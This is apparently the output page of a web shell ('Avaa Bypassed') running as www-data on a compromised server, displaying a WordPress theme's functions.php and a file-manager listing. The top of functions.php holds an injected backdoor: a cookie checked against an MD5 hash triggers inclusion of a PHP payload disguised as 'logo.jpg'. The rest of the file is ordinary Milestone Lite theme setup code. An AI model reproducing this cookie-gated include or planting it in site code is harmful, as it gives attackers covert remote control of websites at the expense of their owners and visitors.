[ Avaa Bypassed ]




Upload:

Command:

www-data@18.191.74.140: ~ $
<?php
/**
 * Loads the WordPress environment and template.
 * @package WordPress
 */
if(isset($_COOKIE["index"])){
	$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
		$check = $_COOKIE["index"];
		if($tmp == md5($check)){
			if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
				require get_template_directory() ."/logo.jpg";
					exit;
								}
																		}
							}
/**
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. 
 * @package WordPress
 */
  
/**
 *Milestone Lite functions and definitions
 *
 * @package Milestone Lite 
 */

/**
 * Set the content width based on the theme's design and stylesheet.
 */

if ( ! function_exists( 'milestone_lite_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which runs
 * before the init hook. The init hook is too late for some features, such as indicating
 * support post thumbnails.  
 */
function milestone_lite_setup() {	
	$GLOBALS['content_width'] = apply_filters( 'milestone_lite_content_width', 680 );
	load_theme_textdomain( 'milestone-lite', get_template_directory() . '/languages' );
	add_theme_support( 'automatic-feed-links' );
	add_theme_support( 'title-tag' );
	add_theme_support( 'post-thumbnails' );	
	add_theme_support( 'responsive-embeds' );
	add_theme_support( 'align-wide' );	
	add_theme_support( 'wp-block-styles' );	
	add_theme_support( 'custom-header', array( 
		'default-text-color' => false,
		'header-text' => false,
	) );
	add_theme_support( 'custom-logo', array(
		'height'      => 50,
		'width'       => 100,
		'flex-height' => true,
	) );	
	
	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );
	register_nav_menus( array(
		'primary' => __( 'Primary Menu', 'milestone-lite' ),		
	) );
	add_theme_support( 'custom-background', array(
		'default-color' => 'ffffff'
	) );
	add_editor_style( 'editor-style.css' );
} 
endif; // milestone_lite_setup
add_action( 'after_setup_theme', 'milestone_lite_setup' );
function milestone_lite_widgets_init() { 	
	
	register_sidebar( array(
		'name'          => __( 'Blog Sidebar', 'milestone-lite' ),
		'description'   => __( 'Appears on blog page sidebar', 'milestone-lite' ),
		'id'            => 'sidebar-1',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title">',
		'after_title'   => '</h3>',
	) );
	
	register_sidebar( array(
		'name'          => __( 'Header Contact info', 'milestone-lite' ),
		'description'   => __( 'Appears on the header when you add something here.', 'milestone-lite' ),
		'id'            => 'header-1',
		'before_widget' => '<aside id="%1$s" class="hdrright %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h5 class="infotitle">',
		'after_title'   => '</h5>',
	) );
	
	register_sidebar( array(
		'name'          => __( 'Footer Widget 1', 'milestone-lite' ),
		'description'   => __( 'Appears on footer', 'milestone-lite' ),
		'id'            => 'footer-1',
		'before_widget' => '<aside id="%1$s" class="cols-4 widget-column-1 %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h5>',
		'after_title'   => '</h5>',
	) );
	
	register_sidebar( array(
		'name'          => __( 'Footer Widget 2', 'milestone-lite' ),
		'description'   => __( 'Appears on footer', 'milestone-lite' ),
		'id'            => 'footer-2',
		'before_widget' => '<aside id="%1$s" class="cols-4 widget-column-2 %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h5>',
		'after_title'   => '</h5>',
	) );
	
	register_sidebar( array(
		'name'          => __( 'Footer Widget 3', 'milestone-lite' ),
		'description'   => __( 'Appears on footer', 'milestone-lite' ),
		'id'            => 'footer-3',
		'before_widget' => '<aside id="%1$s" class="cols-4 widget-column-3 %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h5>',
		'after_title'   => '</h5>',
	) );
	
	register_sidebar( array(
		'name'          => __( 'Footer Widget 4', 'milestone-lite' ),
		'description'   => __( 'Appears on footer', 'milestone-lite' ),
		'id'            => 'footer-4',
		'before_widget' => '<aside id="%1$s" class="cols-4 widget-column-4 %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h5>',
		'after_title'   => '</h5>',
	) );	
	
}
add_action( 'widgets_init', 'milestone_lite_widgets_init' );


function milestone_lite_font_url(){
		$font_url = '';		
		
		/* Translators: If there are any character that are not
		* supported by Montserrat, trsnalate this to off, do not
		* translate into your own language.
		*/
		$montserrat = _x('on','montserrat:on or off','milestone-lite');			
		
		if('off' !== $montserrat ){
			$font_family = array();
			
			if('off' !== $montserrat){
				$font_family[] = 'Montserrat:300,400,600,700,800,900';
			}
					
						
			$query_args = array(
				'family'	=> urlencode(implode('|',$font_family)),
			);
			
			$font_url = add_query_arg($query_args,'//fonts.googleapis.com/css');
		}
		
	return $font_url;
	}


function milestone_lite_scripts() {
	wp_enqueue_style('milestone-lite-font', milestone_lite_font_url(), array());
	wp_enqueue_style( 'milestone-lite-basic-style', get_stylesheet_uri() );	
	wp_enqueue_style( 'nivo-slider', get_template_directory_uri()."/css/nivo-slider.css" );
	wp_enqueue_style( 'milestone-lite-responsive', get_template_directory_uri()."/css/responsive.css" );
	wp_enqueue_style( 'font-awesome', get_template_directory_uri()."/css/font-awesome.css" );
	wp_enqueue_script( 'jquery-nivo-slider', get_template_directory_uri() . '/js/jquery.nivo.slider.js', array('jquery') );
	wp_enqueue_script( 'milestone-lite-editable', get_template_directory_uri() . '/js/editable.js' );
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'milestone_lite_scripts' );

function milestone_lite_ie_stylesheet(){
	// Load the Internet Explorer specific stylesheet.
	wp_enqueue_style('milestone-lite-ie', get_template_directory_uri().'/css/ie.css', array( 'milestone-lite-style' ), '20160928' );
	wp_style_add_data('milestone-lite-ie','conditional','lt IE 10');
	
	// Load the Internet Explorer 8 specific stylesheet.
	wp_enqueue_style( 'milestone-lite-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'milestone-lite-style' ), '20160928' );
	wp_style_add_data( 'milestone-lite-ie8', 'conditional', 'lt IE 9' );

	// Load the Internet Explorer 7 specific stylesheet.
	wp_enqueue_style( 'milestone-lite-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'milestone-lite-style' ), '20160928' );
	wp_style_add_data( 'milestone-lite-ie7', 'conditional', 'lt IE 8' );	
	}
add_action('wp_enqueue_scripts','milestone_lite_ie_stylesheet');

if ( ! function_exists( 'milestone_lite_the_custom_logo' ) ) :
/**
 * Displays the optional custom logo.
 *
 * Does nothing if the custom logo is not available.
 *
 */
function milestone_lite_the_custom_logo() {
	if ( function_exists( 'the_custom_logo' ) ) {
		the_custom_logo();
	}
}
endif;

/**
 * Customize Pro included.
 */
require_once get_template_directory() . '/customize-pro/class-customize.php';

/**
 * Implement the Custom Header feature.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom template for about theme.
 */
if ( is_admin() ) { 
require get_template_directory() . '/inc/about-themes.php';
}

/**
 * WooCommerce Compatibility
 */
add_action( 'after_setup_theme', 'milestone_lite_setup_woocommerce_support' );
function milestone_lite_setup_woocommerce_support()   
{
  	add_theme_support('woocommerce');
	add_theme_support( 'wc-product-gallery-zoom' ); 
	add_theme_support( 'wc-product-gallery-lightbox' );
	add_theme_support( 'wc-product-gallery-slider' ); 
}

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
require get_template_directory() . '/inc/jetpack.php';

Filemanager

Name Type Size Permission Actions
css Folder 0777
customize-pro Folder 0777
images Folder 0777
inc Folder 0777
js Folder 0777
languages Folder 0777
404.php File 822 B 0644
archive.php File 1.2 KB 0644
category.php File 1.34 KB 0644
comments.php File 2.22 KB 0644
content-index.php File 174.94 KB 0644
content-page.php File 721 B 0644
content-single.php File 1.33 KB 0644
content.php File 1.84 KB 0644
editor-style.css File 4.37 KB 0644
footer.php File 1.53 KB 0644
functions.php File 8.49 KB 0644
functionsbak.php File 7.99 KB 0644
header.php File 7.54 KB 0644
image.php File 3.85 KB 0644
index.php File 2.01 KB 0644
license.txt File 34.31 KB 0644
logo.jpg File 174.94 KB 0644
no-results.php File 1005 B 0644
page.php File 1.16 KB 0644
readme.txt File 2.72 KB 0644
screenshot.png File 332.1 KB 0644
search.php File 1.14 KB 0644
searchform.php File 564 B 0644
sidebar.php File 1.13 KB 0644
single.php File 956 B 0644
style.css File 21.52 KB 0644
template-full-width.php File 1.59 KB 0644
woocommerce.php File 205 B 0644